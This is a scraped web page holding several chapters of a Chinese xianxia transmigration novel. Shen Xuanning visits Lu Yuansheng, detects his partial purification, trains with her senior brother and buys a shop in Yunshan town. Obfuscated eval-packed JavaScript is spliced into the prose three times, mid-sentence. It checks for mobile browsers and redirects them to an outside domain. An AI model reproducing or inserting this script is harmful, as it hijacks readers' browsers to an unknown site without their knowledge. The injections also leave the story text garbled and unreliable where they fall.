“……”沈玄宁被他直白的不信给噎了一下,“好了,我不是路过,我其实是来看看你。” 陆远声沉默了一会儿,才低声应了一句,“哦。” 沈玄宁跟在他身侧并肩走,目光又落在他的衣服上,忍不住道:“你这衣服,挺好看的。” 陆远声闻言,转头奇怪地看了她一眼,道:“……你们不发弟子服?” 沈玄宁震惊:“还有弟子服?完全没有啊!” 陆远声:“……” 陆远声带着她上了山,不同于问剑峰整座山只有寥寥几位师兄弟,符天峰的山道上随处可见往来的弟子,有不少弟子穿着和陆远声的款式相近,只是没有陆远声身上的这么精致,这大抵就是峰主亲传弟子与长老旁系弟子的区别。 陆远声能穿得这么讲究,想来在方不夷那里很受看重。 正想着,迎面忽然走来一个少女,银流苏在衣摆处轻轻晃荡,沈玄宁一看脸就认出来了。 鹤穗! 鹤穗也是看到了陆远声和沈玄宁,她笑着上前来打了个招呼道:“陆师兄,你把师尊的玉简贴好了?” 陆远声微微颔首:“嗯。” 鹤穗的目光又转至沈玄宁身上,嘴角依然是温和的弧度,主动开口招呼:“沈师姐。” “啊?”沈玄宁冷不丁听到这声称呼,语气里满是茫然,“我、我是师姐吗?” 鹤穗道:“按照规矩,同一届的不按年龄排序,都是以大考定排名,你是本届内门大考的榜首,自然是该称你为师姐的。” 沈玄宁恍然大悟:“哦,原来如此,这太客气了。” “对了陆师兄,你昨天托周师兄找的《高阶符箓补遗》,他说已经找到了,让你晚些时候去他住处拿。”鹤穗说完就道别了,“我还有事,就先走了。” 陆远声又应了一句:“嗯。” 怎么回事,这个反应很不对劲啊! 鹤穗走了以后沈玄宁终于忍不住问道:“你跟鹤穗很不熟吗?” 陆远声反问道:“为何要熟?” 沈玄宁在心里咆哮:因为她是你命中注定的老婆啊!你们俩现在看起来格外不熟的样子算怎么回事! 但是她又不能真这么说,只好拐着弯道:“好歹是同一届进的,又是都拜在方师叔门下,作为同宗同门的师兄妹,你们看着怪不熟的。” 陆远声道:“那你和你问剑峰的师兄师姐,都熟了?” 沈玄宁道:“自然,我大师姐还有师兄们都很好的。” 陆远声道:“哦。” 沈玄宁看着他这个反应,颇有些担心地脑补了一出他又在这里性格孤僻然后被师门众人排挤的戏码。 陆远声看着她的表情,似乎猜到了她在想什么一般,道:“你又在乱七八糟想什么?” “没乱想什么啊。” 此刻他们已经顺着符天峰的山道走到了半山腰,过了主殿眼前的景致便是骤然柔和下来,不再是那般庄严规整,几座颇具道家风范的小庭院错落分布在竹林间,白墙映着青瓦,其中一座庭院的木门上,挂着块小巧的木牌,上面用墨笔写着个“陆”字,显然就是陆远声的住处。 庭院门口站着一位和陆远声穿着极为相似的青年,看到陆远声来便是语气熟稔地笑道:“阿声!你要的书,我正好回来拿东西,想瞧瞧你在不在呢!” 陆远声点点头接过了书:“多谢周师兄。” “嗐,跟师兄客气什么!”周师兄拍了拍他的胳膊,目光这才落到旁边的沈玄宁身上,眼里带着几分好奇,笑着问道:“这位师妹是……” 沈玄宁朝他点头问好:“周师兄好,我是问剑峰的沈玄宁。” “哦!原来是玄宁师妹啊!久仰大名了!” 沈玄宁道:“我这么有名吗?” 周师兄道:“破妄剑可是修真界神兵榜的第一,身为主人自然也会一同上那神兵册,如今怕是整个修真界都要知道了。” “是吗?那这神兵册更新得还挺快的。” 几人简单寒暄了两句,周师兄便道:“我还得下山去办些事,就不跟你们多聊了。阿声,书里有几处注解,你要是看不懂,回头再找我问。”说罢,又对着沈玄宁笑了笑,便匆匆往山下走去。 陆远声点头:“好,师兄慢走。” 沈玄宁越看越觉得甚是奇怪,这又是个什么情况? 看陆远声和这位师兄相处得倒是颇为不错,一路上也有不少同门和他打招呼,他瞧着比在外门的时候人缘好了不少,这又似从前一般冷漠的样子难道就只针对鹤穗吗! 周师兄的身影很快消失在竹林处,山风吹过,只剩下沈玄宁和陆远声两人站在院中。 沈玄宁收回目光,忍不住感慨道:“这位周师兄,倒是热心。” 陆远声转身推开自己院子的门,道:“嗯,周师兄在符箓一道上造诣颇深,时常指点我。” 沈玄宁跟着他走进内室,才发现屋里的陈设格外简单,靠里侧放着一张木床,铺着素色的床幔,靠墙立着的书架满满当当堆着不少典籍,窗边摆着一张梨花木桌,桌上放着半叠未完成的黄符,看着像是陆远声练习之用,空气中弥漫着朱砂的微涩与松墨的清冽,却是让人莫名觉得安心与平和。 “坐吧。”陆远声指了指旁边的桌椅。 沈玄宁刚要弯腰坐下,脑海里突然响起一阵许久未闻的机械提示音,是这两年她怎么敲都没反应的系统突然开口,这一下惊得她动作猛得一顿—— “恭喜宿主,陆远声已净化1%,当前心化魔种程度99%。” “!!!” 沈玄宁僵在原地,手里还保持着扶椅背的动作,脑子里一片空白。 怎么就突然净化了?! 刚刚发生了什么? 陆远声刚把符纸归拢成一叠,转头就见沈玄宁呆愣愣地站在原地,他轻声问道:“怎么了?” “啊?没、没有!”沈玄宁像是被这声问话猛地拽回神,眼神慌忙转了转,脑子里还在反复回响系统的提示音。 沈玄宁急着转移陆远声的注意力,忙抬手在系统空间里翻找,一阵叮叮当当的声音在桌上摆了十几瓶丹药,她强作自然地推了推瓶子:“那个……阿声,你要不要吃糖?” 陆远声坐到了她对面,从善如流地笑笑:“谢谢。” 沈玄宁看着他这一笑,心里突然“咯噔”一下,她终于反应过来,今天见到陆远声时那种奇怪的感觉,到底来自哪里了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205598|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她今天从看到陆远声起就觉得他怪怪的,但是一时间又说不出是哪里。当时乍一看被他这精致的衣服吸引,还以为是陆远声骤然换了和从前完全不一样的衣服所以她觉得不适应。 现在细想,一开始是被这一点给迷惑了。 真正让她觉得不一样的,是陆远声身上的气质,是他整个人原先阴郁的气质改变了。 如今不是说他变得多么活泼开朗,而是一种微妙的改变,从前的他一直像是浸在冷水里的,整个人阴沉沉的感觉是由内而外散发的,现在就像表面黑雾被生生撕开道细口,虽改变不是特别明显,却无端多了一丝平和温柔的气质。 而且系统刚刚提示他已经化成魔种的心被净化了。 沈玄宁思索着这提示,心跳像撞在胸口,咚咚地响,一个从未有过的念头猛地冒出来。 难道陆远声的黑化,不是只能靠盯着他的情绪防着他走极端来避免,而是能从根上解决? 按照原文的设定:陆远声会黑化,不仅是因为心中极端情绪被扩大,真正让他无可逆转走向黑化的,是他的心。他是魔尊之子,魔族蛰伏几百年的希望,那颗天生的魔化之心,才是藏在他身体里的根源。 她以为心化魔种不可逆转,只能盯防他不受大的打击从而陷入极端,可她心里也清楚,这样的办法根本不是长久之计,人哪能一辈子不遇点糟心事,总不能让他永远活在真空里,一旦将来她没顾上,他再遇着点什么扎大心的事儿,难道还要重蹈覆辙? 如果现在的意思是,陆远声黑化是可以从本质上解决,1%的进度是实打实的改变,那事情就变得好办太多了。 沈玄宁试探着问道:“阿声,最近有什么让你开心的事吗?” 陆远声道:“没有。” 沈玄宁道:“一点都没有?” 陆远声道:“没什么特别值得开心的。” 沈玄宁奇道:“那你最近都在干嘛?” 陆远声道:“修炼。” 难道是他修炼境界高了,灵力强了,就能压制心化魔种?可这念头刚冒出来,就被沈玄宁自己掐灭了。 他在书里也是修为增长极快,最后都修炼到了大乘之境,离踏仙境就差一脚,还不是一样黑化了。 那到底是什么原因导致了这1%的净化呢? 她琢磨着现在跟原书不一样的地方,谢疏言没有死,陆远声没有入问剑峰,他甚至对于鹤穗爱答不理。 沈玄宁想了半天也没想出来,只能又在系统空间里瓶瓶罐罐翻了半天,给他倒腾出一堆药来道:“这是我之前炼的药,可以加快灵气修炼,虽然不顶啥用吧,但是蚊子腿再小也是肉。你如今已经炼气大圆满,不知道什么时候就会筑基,但是修炼不可操之过急,如果有什么事记得来问剑峰找我。” 她强调道:“我就住在山脚下,旁边有一片湖,很好找的,要来啊!!” 陆远声又哦地一声应下了。 沈玄宁心里还揣着疑惑,实在想不明白但也没多留,跟他说了几句话,喝了几口茶便下了山。 刚走下符天峰的山道,就瞥见门口万象碑附近有个熟悉的身影,季时雨正在那边探头探脑,鬼鬼祟祟地瞧见她,身子猛地一僵,转头就跑。 “?” 沈玄宁愣了愣,随即皱起眉,毫不犹豫地提脚跟了上去。 24.下山逛逛 不过眨眼间沈玄宁便掠到季时雨前面,稳稳落地。 她双手抱臂,看着脸色骤变的季时雨,故意拖长了语调:“季师兄,这么巧啊?在这儿遇上你。” 她又像是突然想起什么似的道:“哦不对,我忘了,内门大考我是榜首,按宗门规矩如今我是师姐了才对,季——师——弟——” 季时雨一下子黑了脸:“师姐?你也真能说得出口啊!沈玄宁,你少在那边小人得志。” 沈玄宁无语道:“我小人得志?不是……陈述事实也算吗?” 而且好像你才是反派啊大哥! 季时雨脸色青一阵白一阵,过了好一会儿才憋出一句:“你拦我做什么?我还有要事!让开!” 沈玄宁没让开,反而弯起眼睛,语气里带着点似笑非笑的探究:“不做什么啊。” 她往前倾了倾身子,目光落在季时雨有些慌乱的眼底,“就是刚才瞧见你了,毕竟也是一起进内门的熟人,想跟你打个招呼,可季师弟你见了我转头就走,我还以为哪里得罪你了。” 季时雨被她一口一个季师弟喊得太阳穴突突跳,心里又烦又憋闷,可他也清楚,沈玄宁是内门大考榜首,十一岁就到了筑基期大圆满,如此惊人的天赋逍遥宗必然是格外看重她,自己如今修为能不能打过她先不说,也不能得罪她。 他一字一顿:“没得罪我。” “那就好。”沈玄宁看着他变来变去的表情,慢悠悠地故作老成道:“师姐走了,季师弟有空来问剑峰玩。” 季时雨哼了一声以后头也不回地走了。 沈玄宁看着季时雨那副逃也似的背影,忍不住笑出了声,可笑着笑着,她脸上的笑意慢慢淡了下去,指尖轻轻摩挲着,眼神沉了沉。 书里只含糊提了句季时雨因嫉妒然后给谢疏言下毒,谢疏言药石无医死在逍遥宗外门,剩余部分都是简略地一笔带过,像只是单纯为了给陆远声制造一个仇恨的理由。当初看书的时候她还以为季时雨是个什么凶神恶煞的恶霸,结果看到了真人,却只是个皮囊生得不错的嚣张纨绔,平时做事也看不出太有脑子的样子,还怕鬼怕得要死。 就他这德行谢疏言应该不是他杀的,但肯定跟他脱不了关系。 季时雨的叔伯是戒律峰的季长老,季长老包庇了季时雨下毒害死谢疏言的事。要是能想个办法随时监控季时雨的动向就好了,说不定能把关键人物抓出来。 有机会的话最好还是查查这个季长老,也许他并不是什么一心包庇子侄的迂腐老人,或许关键人物就是他? 沈玄宁回了问剑峰,刚走到院门口,就看到沈玄清坐在映月湖旁的一个茅草亭里。 她快步跑过去,惊喜地喊了一声:“大师兄!” “嗯,去哪儿了?” “我去符天峰看望了一下之前在外门的朋友。”看着沈玄清听到符天峰以后古怪的眼神,老实人沈玄宁又急忙补充了一句,“不是去抢方师叔的任务,真不是!” 沈玄清轻轻地“嗯”了一声。 沈玄宁道:“对了师兄,之前我问了大师姐,说如果我想下山的话找你说一声就行。” 沈玄清道:“你要下山?” 沈玄宁点头道:“嗯,我不去别的地方,我就是想去山下的云山镇逛一逛,听说镇上有不少好玩的小玩意儿,我想过去看看。” “弟子令牌给我。” 沈玄宁连忙从腰间解下刻着问剑峰字样的令牌,递了过去,沈玄清凝聚了灵力在令牌上轻轻一点,令牌瞬间亮了一下。 沈玄清将令牌还给了她,道,“以后若是要去云山镇就不必通禀了,但是其他地方不可乱跑。” “我知道啦!谢谢大师兄!”沈玄宁接过令牌,心里一阵高兴。她和赵琳琅约好了三个月以后在逍遥宗外门山下见面一起去云山镇,有了这个令牌以后就方便多了。 沈玄清起身出了凉亭,对着她道:“你刚入内门之时,虽是筑基期大圆满,但因刚突破的缘故灵力还有些虚浮,如今经过这一个月的修炼,你的境界也算稳固,正好今日我传授你剑法。” 沈玄宁眼睛一亮,连忙起身跟上了他:“是,多谢大师兄。” 沈玄清在湖边一处空地上站定,只听“嗡”的一声轻响,一柄蓝色仙剑破空而出,眨眼间就停在了他的面前。 剑身长约三尺,悬浮在半空时,丝丝缕缕的冰寒之气顺着剑鞘往外漫溢,连周围的空气都像是被冻住了似的,沈玄宁觉得自己所有情绪都被这股寒气驱散,连呼吸都变得通透凉爽。 沈玄清抬手握住剑柄轻轻往外一抽,蓝色剑光骤然亮起。 沈玄宁下意识往后退了半步,这股剑气太盛了,虽然对她没有半分攻击性,却带着种迫人的清冷,让她忍不住屏住呼吸。 “大师兄,你这剑叫什么名字啊?” “寻玉。” 沈玄清手腕轻旋,剑身在半空划出一道流畅的弧光。 他握着剑柄,指尖轻轻一压,原本流转在剑身的蓝色剑光便顺着剑刃缓缓收敛,最后只在剑尖凝着一点细碎的微光,“拂心剑法前三式不为杀敌,是为了帮你拂去心尘,使你灵台清明,能更好地领悟剑招。” “是,我明白了!” 沈玄宁有样学样地把破妄剑给抽了出来,纵然破妄剑是天下第一的神兵,可以她如今筑基期大圆满的修为和沈玄清的差距还是是太大了。 虽有神兵的剑气,但是破妄剑在她手里确实也不如沈玄清有气势。 她没急着动,只盯着沈玄清的动作,他的身形随剑势微微转动,动作行云流水,没有半分停顿,淡蓝色的剑光裹着他的身影,连呼吸都与剑招完美契合。 沈玄清演示完收势以后,沈玄宁也跟着深吸一口气,握着破妄剑缓缓起招,她依着刚刚记下来的,将“拂心三式”完整走了一遍,提剑时还稍显生涩,但到了收势那步,已经能稳稳将灵力沉在丹田。 收剑的刹那,她下意识抬眼看向沈玄清,见他略略点头,显然是对她这遍练习还算满意。 从那以后的两个月,沈玄宁的日子又变得规律了起来,沈玄清又传了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209756|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拂心剑法后面的招式,白日里她在映月湖下棋锤炼灵力和练习剑招,晚上就窝在房间里打坐修炼。 这般沉浸式修炼,让沈玄宁连时间都忘了,等她终于感觉到有些饿了的时候,她震惊自己竟然已经三个月没有吃过东西了! 这真是要成仙啊! 沈玄宁摸着空荡荡的肚子,忍不住在心里吐槽,之前在外门顿顿都奔着吃穷逍遥宗去的,如今入了内门以后也太省口粮了。而且这问剑峰就这么几个人,师兄师姐们修为高的统统辟谷,连个食堂啥的也没有,她想顿顿吃饭也是不存在的。 正好她和赵琳琅约好的三月之期也到了,这日她便收拾了下山去云山镇找赵琳琅去了。 因为有着沈玄清灵力加持的令牌,她一路畅通无阻,没有被任何守门的灵力屏障给拦下。 赵琳琅归家看望双亲,又小住了一端时间以后才启程回到了云山镇,她临走前和沈玄宁约了在逍遥宗外门的山门口相见。 沈玄宁刚走到逍遥宗外门的山脚下,就见一个鹅黄色的身影正踮着脚张望,赵琳琅手里还拎着个绣着莲蓬的布包,一看见她,眼睛瞬间亮了起来。 “宁宁!!”赵琳琅许久不见沈玄宁,她几乎是蹦着跑过来,张开胳膊就给了她一个大大的拥抱,“我好想你啊。” “我也想你。”沈玄宁被她抱得紧,略略抚了一下她的背,“好了好了,快松开些。我们一边逛一边说吧,我不能在山下过夜,今日事情还多着呢。” 赵琳琅这才恋恋不舍地松开手,却还是紧紧攥着她的手腕,眼睛扫过她身上浅蓝色的衣衫:“宁宁,你这个衣服好好看呀,是问剑峰的弟子服吗?” 这还真不是,其实从符天峰回来以后沈玄宁就问过莫玄春,他们怎么好像没有发弟子服这个流程。 莫玄春摆了摆手:“没有弟子服,师尊就是这么散养我们,等他出关了不如你问问他。”虽然是这么说,第二日莫玄春还是不知道从哪儿给她带了一堆新衣服来。 赵琳琅道:“对了,阿梨他们……” 沈玄宁摇了摇头:“哦,阿梨他们啊,短期内你应该是见不到了,内门规矩严,弟子下山的最低底线就是筑基期,她们如今都还在炼气期修炼,怕是下不得山来了,我也是得了我大师兄的同意才下山来的。” 沈玄宁拉住了她的胳膊待她往前走,“今日你刚来,我们要先寻个铺子买下,也好给你个住宿的地方,然后好好地吃上一顿,听说云山镇有很多好吃好玩的呢,尤其是那个醉仙楼的饭菜特别好吃,走走走,我有可多钱了,我带你去吃。” 云山镇就在四大仙门之首的逍遥宗山下,沾着仙门的光,普通妖邪根本不敢在这附近作乱,也正因如此,镇上百姓越聚越多,连带着周边村落的人都往这儿迁,久而久之,竟成了方圆百里最热闹的地界。 而这里的主街更是远近闻名的大集市,在这儿不光有百姓在此开设各种店铺,甚至还不少修士隐在集市之中,若是有心,在这镇上的铺子里逛上一逛,说不得有些惊喜,能淘到些什么灵符法宝。 25.赚点小钱 不得不说,这云山镇确实是热闹非凡。 刚踏入云山镇主街,喧闹的人声就裹着各式香气扑面而来,两侧各式各样的商铺挤得满满当当,街角的面摊支着大大的蒸笼,那摊主一掀开那半人高的蒸笼,包子的香气飘得很远。 沈玄宁和赵琳琅站在人流里,眼神里满是新奇,她穿越到这修仙世界已有三年多,却从未踏足过这样充满人间烟火气的百姓集市。逍遥宗外门弟子不得随意下山,因此就算这云山镇就在山脚下,她也从未来逛过。 现在沈玄宁这里看看那里逛逛,眼睛都快不够用了,四处都觉得新鲜得很,而且兜里还揣着怎么花都用不完的钱,这种感觉更美妙了。她再次在心里感谢了尹文霜一波。 赵琳琅也是看花了眼,不过还没忘了正事,“宁宁,你说要买铺子,买个什么样的铺子啊?” “我也不懂,是不是应该找个……”沈玄宁思索了一下,在古代这种中介应该被称呼为牙人,“找个牙人?毕竟我们也不懂,总要有人把地契手续什么这些的办好才对。” 她们俩在大街上找人打听了一番,找到了这镇上最大的牙行。 牙人一见只是两个年纪不大的小姑娘要买铺子,当下有些不信,但还是好言道:“小姑娘,不是我多嘴,这云山镇主街的铺子可是贵得很,你们确定能做家里的主?要不找家里的大人来合计合计?” 沈玄宁已经开始默默地提要求:“要在主街,白天可以热闹,但是晚上附近不可太过吵闹,铺子要大,后面要带可以起居的的院子。” 牙人还在琢磨这俩小姑娘是不是随口说说,瞧着年纪轻轻,说话却一套一套的,主街带院的铺子可不是闹着玩的,难道真能拿得出这么多的钱? 但听到这些要求时又忍不住追问:“小姑娘,咱们丑话说在前头,主街的铺子价不低,您那些要求更是金贵,你们的预算大概是多少?我也好掐着数给你们挑,省得白忙活一场。” 沈玄宁摇摇头:“我没有预算,只要符合要求,尽好的来就行,不要给我挑什么僻静巷子,我要人多安全的地方。” 那牙人闻言眼前一亮,脸上的迟疑瞬间换成了热络的笑,连忙引着两人往内堂走:“哎!好嘞!姑娘您这话敞亮!我们牙行在镇上待了不知道多少年了,这主街带院的铺子,十间里有八间都在我们这儿挂着!您跟我来,我给您拿图样挑挑。” 走在前面时,他还不忘拍着胸脯吹嘘,语气里满是自豪:“再说这安全,您就放一百个心!您是外地来的吗?您不知道这云山镇后面那座山上待的那是什么人吗?那可是修仙界里顶顶厉害的仙门,山上的仙人随便下来一个,都厉害得不得了!那普通的妖怪哪里敢在这儿附近作祟,这镇上别说偷抢了,连街坊邻居拌个嘴,都能立刻有人来劝和,您住这儿,比哪儿都踏实!” 他唾沫横飞地说着,完全没注意到沈玄宁和赵琳琅交换的眼神,赵琳琅忍着笑,偷偷用指尖戳了戳沈玄宁的胳膊,这牙人滔滔不绝地夸,却不知道自己接待的正是实打实的一位逍遥宗内门弟子。 “您二位坐吧。”牙人掀开门帘,引两人进了内堂,转身从架子上抱下厚厚的一摞图纸,摊在桌上,“您看这个,原先是个银楼,就在主街最前头,挨着镇口牌坊,位置显眼!左边是鼎鼎有名的成衣铺子锦绣阁,右边是恒通当铺,都是镇上的老铺子,白天人来人往的热闹得很,做买卖最是方便,后院更是规整,三间正房宽敞亮堂,厨房,水井都现成的。” 沈玄宁俯身看着图纸,没应声。 赵琳琅也凑在旁边看,小声跟沈玄宁嘀咕:“宁宁你觉得怎么样?” 牙人眼尖,见两人没太动心,立刻又从最下面翻出一张图纸,语气更添了几分郑重:“那您再瞧瞧这个,这可是我们前几日刚收上来的好铺子,这铺子在主街中段,位置不偏不倚,最是舒服,旁边是个卖文房四宝的铺子,另一边是清风乐坊,都是文雅生意,来往的人也规矩,白天不缺人气,晚上也清净,正合您的要求!就是这个价格确实是贵了些,原先是这镇上最大的书铺,就是这子孙不孝,败了家产。” 沈玄宁来了点兴趣,问道:“那后面呢?” 牙人道:“这后面也是大得很,比刚才那银楼的院子大了一半多呢!里头有四间房,院里种着棵老槐树,夏天能遮阴凉。原主是个爱干净的,院子打理得好,您买下来不用修修补补,直接就能用!” 沈玄宁想到自己后面打算做的生意,突然觉得这个铺子正是合她心意,于是便问道:“这个多少钱?” “这个嘛……”牙人看着两个小姑娘眨巴着眼看他,突然有些不好意思说出口,刚怎么就一时冲动信了这二位推荐了这么贵的铺子,这个铺子价格就是富贵人家也需要考虑再三的了。 他最后心一横道:“六千两白银。” 赵琳琅立时瞪大了眼睛:“多少??” 牙人连忙摆手,语气里带着几分无奈:“姑娘您别惊着,这价格真不算坑您,您也知道,云山镇沾着逍遥宗的光,仙人脚下多少人挤破头想在这儿安家,价格自然水涨船高,别说这种大铺面,就是主街尾段的小铺子,都要三千两起步,您这还是中段带大院子的,旁边又是文房铺还有乐坊的。这地段好、格局又规整,这仙人脚下就是比起皇城跟下的铺子,价格也差不了多少了……” 说到这儿他突然意识到不对,赶紧抬手拍了拍嘴,脸上闪过一丝慌乱:“哎哟!您瞧我这嘴,这话可不敢乱说!如今皇家和仙门的关系本就有些紧张,这话要是传出去,咱这牙行都得关门!您二位出去可千万别提这话,权当没听见!” 沈玄宁倒没太在意皇家与仙门的纠葛,她只是默默盘算了一下,尹文霜给她的钱真不算少,这六千两白银就是六百两的黄金,她是真能拿出来的。眼下最要紧的就是安顿赵琳琅,还有把自己想开的铺子给开起来,至于钱的多少,她倒不是很在意,她从前也是个家境优渥的富二代,虽不至于对钱毫无概念,却也从不会在该花钱的时候犹犹豫豫。 她点点头:“行,带我们去看看吧。” 这话一出,屋里瞬间静了两秒。 还在呸呸拍嘴的牙人猛地顿住动作,和赵琳琅一起不可置信地看向沈玄宁。 他活了大半辈子,见过不少买铺子的人,却从没见过这么年轻的姑娘,听到六千两的价格连眉头都不皱一下,还这么干脆利落的。 沈玄宁奇道:“走啊,不去看看,怎么买呢?” “宁宁……”赵琳琅像是终于找回了自己的声音,“这可是六千两白银,不是六十两!要不要再想想呢?” “我知道啊。”沈玄宁点点头,“放心吧,我有。” 牙人也跟着点头,咽了口唾沫:“是啊姑娘,您再合计合计?这可不是小数目,要是家里长辈不知道……” “我知道是六千两啊。”沈玄宁拍了拍赵琳琅的手,又看向牙人,“放心吧,钱我有,不用跟家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214881|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人商量。现在就带我们去看铺子,若是实物如图纸所说,手续齐全,今日就能签契付钱。” 牙人这才彻底反应过来,眼前这位哪里是什么不懂事的小姑娘,分明是深藏不露的金主。他连忙把图纸往怀里一揣,又殷勤道:“哎!好嘞!姑娘您真是爽快人!我这就带您去!这铺子保准比图上画的还好,您去了准满意!” 说着,他几乎是小跑着引着两人往外走,嘴里还不停念叨:“您放心,地契、房契都在柜上锁着呢,只要您看中,咱们看完铺子直接去官府办过户,一天就能把手续办齐!” 赵琳琅被沈玄宁拉着走,还在小声嘀咕:“宁宁,你居然有这么多钱……” 牙人给套了车,带着她们俩去了铺子,顺着主街往中段走,没一会儿的功夫就到了。 沈玄宁抬眼望去,铺子门面宽绰,推门进去可见内里也是十分宽敞,地面铺着青砖,里面还留着原先放书的木架,打磨得光滑平整,稍微擦拭一下就能用,屋顶的梁木结实,没有半点朽坏的痕迹,看来转之前用的材料是顶好的。 “您看这前屋,摆上柜台、货架,再留条过道,还能空出不少地方。”牙人一边引着两人往里走,一边指着屋子各处,“原主是做书铺的,屋里的木架、桌椅都没搬走,您要是不嫌弃,擦一擦就能用,省得再花钱添置。” 穿过前屋,后院的景象更是让人眼前一亮,青石板铺就的院子很是清新,中间那棵老槐树枝繁叶茂,浓密的绿荫几乎遮住了半个院子,树下摆着张石桌、四个石凳,石面上还刻着简单的棋盘纹路,看来原主人也是十分有雅兴。 院子两侧分别是四间厢房,院中有天井,生活所需的伙房净房等等都是不缺的。 赵琳琅兴奋地四处摸摸看看,沈玄宁趁着这牙人带着赵琳琅满屋子乱转悠的时间,她悄悄隐到了一个角落,抬手两指并拢点在额头,神识如同细密的网,瞬间笼罩了整间铺子。 等赵琳琅和牙人兴高采烈地从库房转回来时,沈玄宁已经收回了神识:“行,就这个吧,我买了。” 她抬手往旁边的八仙桌上轻轻一拂,金灿灿的元宝瞬间在桌上堆成了小山,整整六百两黄金,晃得人眼睛都有些花。 “哎哟我的姑奶奶……”那牙人还没惊讶完,看到桌上突然出现的黄金声音立刻就止住了,他张了张嘴,好半天才找回自己的声音,语气里满是震惊:“仙、仙人?!” 这就能解释通了,能让这么小的孩子随意拿出这么多钱来,也就是那些仙门世家的子弟了。 沈玄宁道:“这手续什么时候能办完?” 牙人此刻连说话都变得小心翼翼起来:“仙人您放心!我这就带您去官府,手续保准办得又快又妥当!这些黄金……我、我先找个匣子收起来。” 赵琳琅颇有些担忧地问道:“宁宁,这么贵的铺子,你要做什么生意才能赚回来啊?” 沈玄宁道:“这个不急,还记得我之前在外门讲的那些故事吗?” 赵琳琅道:“你是说《聊斋志异》那些吗?” 沈玄宁点点头:“是啊,像这样的书我还多得很,到时候全印了开个书铺,摆上这些奇闻怪谈的话本子,何愁不挣钱呢?” 她的书房满满当当,各种神话故事、修仙小说、爱情故事,书房里一抓一大把,放到这个世界绝对是降维打击式的新鲜。 这些若是大批量印出来,何愁不能赚大钱呢? 要发大财呀! 26.黄金楼起 官府的手续果然如牙人所说,办得格外顺利,沈玄宁和赵琳琅效率十分高地在一上午直接完成了花六千两银子买了个铺子的事。因为成交了个大单子,那个牙人还格外热情地让赵琳琅她们以后有事儿都可以来找他。 二人一道坐在醉仙楼的包间里的时候,赵琳琅还在翻来覆去地看那个地契。 沈玄宁低头翻了两页菜单,只觉得上面的菜名密密麻麻,看得眼花缭乱干脆就合上了,对着小二道:“不看了,给我炒一本。” 小二手里的茶壶晃了晃,差点把水洒出来,他愣了愣,不确定地问道:“客官,您说炒一本的意思是?” “就是字面上的意思。”沈玄宁指了指桌上的菜单,语气坦然,“菜单上有的菜,每样都给我炒一份。” 赵琳琅:“……” 回来了,关于沈玄宁恐怖胃口的记忆全都回来了。 “宁宁,我们就两个人,吃得完吗?” 小二生怕沈玄宁反悔一样,连忙点头哈腰地走了:“是是是!您放心!小的这就去后厨吩咐。” 沈玄宁道:“吃得完的,这才哪儿到哪儿啊,我都三个月没吃东西了!” “啊?”赵琳琅愣了一下反应过来,“哦对,你是筑基期,已经能辟谷了。” “筑基期的辟谷也不是完全不用吃。”沈玄宁喝光了茶,又拎起茶壶给自己倒了一杯,“每隔一两个月还是要吃一些维持所需的。这段时间我一直忙于修炼,问剑峰上也没个能正经吃饭的地方,我也就没吃了。难得下山,又是和你一起,自然要吃些好吃的了。” “那你一会儿多吃些。”赵琳琅笑着道,“我记得你之前在外门,一顿能吃四大碗鸡丝汤面,第一次的时候把我都看呆了。” “林大厨的鸡丝汤面确实好吃。”沈玄宁交代道:“琳琅,我后面需要专心修炼,希望能早日突破至金丹期,所以平常无事我就不来了,后面铺子要开起来的诸多事宜就要你多盯着了。” 赵琳琅闻言立刻道:“你放心吧,宁宁,你就告诉我怎么做,我什么都能学,我一定会帮你打理好的。” 沈玄宁道:“你本来就聪明,人又勤快,这些事你慢慢学,肯定能做好。以后啊,你就是这黄金楼的老板娘了。” 赵琳琅问道:“黄金楼?是你给你的书铺取的名字?” 沈玄宁道:“是啊,咱们以后不是开书铺嘛,俗话说得好,书中自有黄金屋,再说大俗即雅嘛,所以就叫黄金楼了,这名字好记又招财,你相信我,我肯定让你当一个真正的大富婆。” 赵琳琅笑着用力点头:“好,我相信宁宁。” “阿梨帮忙弄了个小手镯来,她让我转交给你。”沈玄宁从锁灵囊中取了一个小玉镯出来递给了赵琳琅,“这是一个小型的储物法宝,里面空间不是很大,但是也够你日常所用了。” 她又补充道:“我在里面给你放了钱,还有一些丹药,虽然你已经不准备考内门了,但是平时修炼最好不要落下,有生之年若能达到筑基,起码也能添上二百年的寿元。另外我还放了一些我画的传讯符纸,若遇什么紧要之事,你只需用灵力点燃符纸,我就能立刻感应到然后下山来。” 